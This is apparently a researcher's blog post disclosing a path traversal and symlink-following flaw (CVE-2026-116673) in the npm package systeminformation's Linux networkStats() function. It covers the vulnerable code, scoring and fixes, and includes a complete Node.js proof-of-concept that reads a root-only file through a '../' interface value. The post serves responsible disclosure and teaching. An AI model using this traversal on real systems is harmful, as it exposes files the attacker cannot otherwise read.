My Second CVE: Path Traversal in systeminformation (CVE-2026-116673)

I’m so happy to share that this report became my second assigned CVE, CVE-2026-116673. It started with a small “wait, why is that path built this way?” moment while I was reading the Linux network-statistics code in systeminformation. I followed the value through the code, built a safe local reproduction, and found that a network-interface string could escape the expected sysfs directory and make the library return the contents of a file its caller could read.

When I checked on 2026-09-25, npm listed 8,162,706 downloads for the package in the last week, about 8.16 million. That is a download count, not a count of unique installations or vulnerable deployments, but it made the work feel even more meaningful.

At a glance

  • Product: npm package systeminformation
  • Verified affected release: 5.33.13 on Linux
  • Weakness: CWE-22, Path Traversal; the demonstrated path also follows a symlink (CWE-59)
  • Impact: local file disclosure to the networkStats() caller, limited by the Node.js process’s file permissions
  • CVSS 3.1: 3.3 Low. Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
  • CVE: CVE-2026-116673
  • GHSA: GHSA-4vjg-vx72-qq4g

The reproduction confirms version 5.33.13. It does not establish the earliest affected release or the first fixed release; those version boundaries should be taken from the published advisory.

The code detail that made me pause

networkStats(ifaces) accepts an interface name, or a comma-separated list of names. On Linux, the intended job is to read counters for paths like /sys/class/net/eth0/statistics/rx_bytes.

The value reaches networkStatsSingle() after the list is split:

for (let iface of ifacesArray) {
  workload.push(networkStatsSingle(iface.trim()));
}

That flow looked reasonable until I noticed that the same string was used both to check a path under /sys/class/net and to construct shell commands that read files beneath it.

In lib/network.js at the tested 5.33.13 source revision, networkStatsSingle() first runs the input through the strict string sanitizer, then builds the existence check and cat commands from that result:

const ifaceSanitized = util.sanitizeString(iface, true);

if (_linux) {
  if (fs.existsSync('/sys/class/net/' + ifaceSanitized)) {
    cmd =
      'cat /sys/class/net/' +
      ifaceSanitized +
      '/operstate; ' +
      'cat /sys/class/net/' +
      ifaceSanitized +
      '/statistics/rx_bytes; ' +

This excerpt stops while the source is still assembling cmd; the same path construction is repeated for the remaining statistics files before execution. The result is later parsed here:

exec(cmd, (error, stdout) => {
  if (!error) {
    lines = stdout.toString().split('\n');
    operstate = lines[0].trim();

The related lib/util.js sanitizer removes many shell-special characters, including semicolons and pipes, but does not reject / or .. So an input made from ../ components survives the sanitizer. The existsSync() check follows those components and symlinks; it does not confirm that the resolved path remains inside /sys/class/net or names a real network interface. The later cat commands follow the same path.

That was the important distinction: this was a path-boundary failure, not shell command injection. My test input contained path components, not shell operators.

Following the value to the disclosure

Here is the path from API call to returned data:

  1. A caller supplies the iface argument to networkStats().
  2. The function splits the string into entries and passes each entry to networkStatsSingle().
  3. The strict sanitizer strips shell metacharacters but leaves path separators and dot segments.
  4. Linux checks whether /sys/class/net/<sanitized iface> exists. A traversal path can resolve to an attacker-created directory elsewhere on the filesystem.
  5. The code runs cat against operstate and six statistics files beneath that same resolved directory.
  6. The output is split into lines, and the first line is returned as operstate.

For the reproduction, I created a harmless marker file that only root could read. An unprivileged nobody user created a temporary fixture directory and made its operstate entry a symlink to that marker. The privileged test process called the library with a traversal interface value. The API returned the marker as operstate, even though nobody could not read the target file directly.

The exact tested version was [email protected]. The local run used the package’s lib/network.js with Linux filesystem checks and commands routed to an Ubuntu 20.04 WSL environment. It touched only the synthetic marker and temporary fixture; no real credentials or public systems were involved.

Safe local reproduction

Run this only in a disposable Ubuntu or Debian Linux VM. It runs the test process as root so it can create a synthetic root-only file, while nobody creates the attacker-controlled directory and symlink. The script removes both temporary paths when it finishes.

Install the tested package version:

mkdir si-netstats-poc
cd si-netstats-poc
npm init -y
npm install [email protected]

Save the following as poc.cjs, then run it with sudo node poc.cjs:

'use strict';

const fs = require('node:fs');
const { execFileSync } = require('node:child_process');
const si = require('systeminformation');

const root = '/tmp/si-netstats-' + process.pid;
const secret = '/root/si-netstats-secret-' + process.pid;
const marker = 'SYNTHETIC_ROOT_ONLY_MARKER_' + process.pid;

const fixtureCode = [
  "const fs = require('node:fs');",
  'const root = process.env.SI_FIXTURE_ROOT;',
  'const secret = process.env.SI_SECRET;',
  "fs.mkdirSync(root + '/statistics', { recursive: true });",
  "for (const name of ['rx_bytes', 'tx_bytes', 'rx_dropped', 'rx_errors', 'tx_dropped', 'tx_errors']) {",
  "  fs.writeFileSync(root + '/statistics/' + name, '0\\n');",
  '}',
  "fs.symlinkSync(secret, root + '/operstate');"
].join('\n');

(async () => {
  try {
    fs.writeFileSync(secret, marker + '\n', { mode: 0o600 });
    fs.chmodSync(secret, 0o600);

    execFileSync('runuser', [
      '-u', 'nobody', '--', 'env',
      'SI_FIXTURE_ROOT=' + root,
      'SI_SECRET=' + secret,
      process.execPath, '-e', fixtureCode
    ], { stdio: 'inherit' });

    let nobodyCouldRead = true;
    try {
      execFileSync('runuser', [
        '-u', 'nobody', '--', 'cat', secret
      ], { stdio: 'ignore' });
    } catch {
      nobodyCouldRead = false;
    }

    if (nobodyCouldRead) {
      throw new Error('negative control failed: nobody read the marker');
    }

    const iface = '../'.repeat(24) + root.slice(1);
    const rows = await si.networkStats(iface);
    const returned = String(rows[0]?.operstate ?? '').trim();
    const success = returned === marker;

    console.log(JSON.stringify({
      packageVersion: require('systeminformation/package.json').version,
      nobodyCouldRead,
      libraryReturnedRootOnlyMarker: success,
      returnedOperstate: returned
    }, null, 2));

    if (!success) process.exitCode = 1;
  } finally {
    fs.rmSync(root, { recursive: true, force: true });
    fs.rmSync(secret, { force: true });
  }
})().catch((error) => {
  console.error(error);
  process.exitCode = 1;
});

Selected fields from my executed WSL harness result:

{
  "packageVersion": "5.33.13",
  "nobodyCouldRead": false,
  "libraryReturnedRootOnlyMarker": true,
  "returnedOperstate": "SYNTHETIC_ROOT_ONLY_MARKER_<pid>"
}

The PID suffix varies between runs. nobodyCouldRead: false is the negative control: the fixture-creating user could not read the marker directly. libraryReturnedRootOnlyMarker: true records that the privileged library call returned it. The code above is a self-contained Linux recipe; the run I recorded used the WSL harness described earlier, rather than this exact standalone script on a native Linux VM.

This PoC demonstrates the local file-read primitive. It does not create a network service or prove that a remote user can reach networkStats() in a particular application.

Impact and limits

systeminformation is a library, not a server. A consuming application has to pass attacker-controlled interface input to networkStats() and expose the returned data for an attacker to exploit this from a remote interface. I did not demonstrate such a remote application route, so I’m describing the confirmed impact as local file disclosure through the library API.

The file contents available through this path are limited by the privileges of the Node.js process. The reproduction used a root-only synthetic file to make that boundary visible. It did not show file modification, command execution, or denial of service.

CVSS 3.1

3.3 Low. Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

  • AV:L (Local): the score models a local attacker who can influence the value passed to the consuming process.
  • AC:L (Low): no timing window or unusual race is needed once the attacker can supply the interface value and create the local fixture.
  • PR:L (Low): the attacker starts with ordinary local privileges.
  • UI:N (None): no separate victim action is needed.
  • S:U (Unchanged): the impact remains within the security authority of the vulnerable process.
  • C:L (Low): the demonstrated impact is reading file contents through the process, with disclosure limited by its permissions.
  • I:N (None): the path does not modify the target file.
  • A:N (None): the reproduction does not affect service availability.

Weakness

  • CWE-22: Improper Limitation of a Pathname to a Restricted Directory (‘Path Traversal’) is the primary weakness: the code constructs a path under /sys/class/net without enforcing that the resolved path stays inside that directory.
  • CWE-59: Improper Link Resolution Before File Access (‘Link Following’) also describes the symlink used in the demonstrated escape.

What should change

The API should accept only real interface names returned by the operating system, and the Linux reader should avoid constructing shell commands from the caller’s value. If it resolves a filesystem path, it should verify that the resolved target remains within the intended sysfs interface directory and reject symlinks or traversal that escape that boundary. Regression coverage should include a traversal value, a symlink pointing outside the sysfs tree, and a normal interface-name control.

After I shared the reproduction, the maintainer accepted the report and said a fix had been implemented. I’m grateful they took the report seriously and moved quickly. The project’s security advisory page is linked below for the advisory and exact patched-release details.

Why this one means a lot

I started with one line that felt a little off. Following it carefully led to a reproducible security issue, a thoughtful exchange with the maintainer, and my second CVE. I’m proud of the work, and even happier that it helped improve a library other developers rely on.

A good reminder for future me: when code feels strange, trace the value all the way to where it is used. Then build the smallest safe test that proves what actually happens.

Funny thing: this was actually the first report I made, but its CVE number was assigned later, so it became my second CVE instead of my first. lol